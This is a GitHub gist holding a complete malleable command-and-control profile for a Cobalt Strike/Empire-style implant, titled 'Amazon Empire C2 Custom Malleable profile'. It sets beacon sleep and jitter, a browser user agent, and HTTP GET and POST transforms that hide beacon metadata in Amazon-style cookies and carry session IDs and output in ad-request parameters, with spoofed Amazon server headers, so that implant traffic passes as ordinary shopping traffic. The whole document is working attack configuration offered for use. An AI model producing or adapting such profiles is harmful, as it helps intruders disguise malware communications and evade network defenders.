Skip to content

Instantly share code, notes, and snippets.

@CalfCrusher
Last active December 12, 2023 10:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save CalfCrusher/5381b592862c7ac462ec12a0d06a5a50 to your computer and use it in GitHub Desktop.
Save CalfCrusher/5381b592862c7ac462ec12a0d06a5a50 to your computer and use it in GitHub Desktop.
Amazon Empire C2 Custom Malleable profile
#
# Modified Amazon browsing traffic profile
#
set sleeptime "10000"; # Increased sleep time to 10 seconds
set jitter "500"; # Increased jitter to 500 milliseconds
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"; # Changed the User Agent
http-get {
set uri "/category/reference=nb_sb_noss_1/167-3294888-0262949/field-keywords=ps5-games";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8";
header "Host" "www.amazon.com";
metadata {
base64;
prepend "session-token=SGEJYRHFGFFJFHD;"; # New value
prepend "skin=Blue;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}
server {
header "Server" "AmazonServer";
header "x-amz-id-1" "NEWXAMZID1";
header "x-amz-id-2" "NEWXAMZID2";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Encoding" "gzip";
output {
print;
}
}
}
http-post {
set uri "/cart/adj/amzn.us.sr.aps"; # Uri set for POST requests
client {
header "Accept" "application/json, text/javascript, */*; q=0.01";
header "Content-Type" "application/json";
header "X-Requested-With" "XMLHttpRequest";
header "Host" "www.amazon.com";
parameter "sz" "300x250"; # Changed the ad size
parameter "oe" "oe=UTF-8;"; # Modified character encoding
id {
parameter "sn";
}
parameter "uid" "5678"; # Changed the param and the value
parameter "domain_ref" "https%3A%2F%2Fwww.amazon.com"; # Changed the referrer and the param
output {
base64;
print;
}
}
server {
header "Server" "AmazonServer";
header "x-amz-id-1" "NEWXAMZID1";
header "x-amz-id-2" "NEWXAMZID2";
header "X-Frame-Options" "SAMEORIGIN";
header "x-ua-compatible" "IE=edge";
output {
print;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment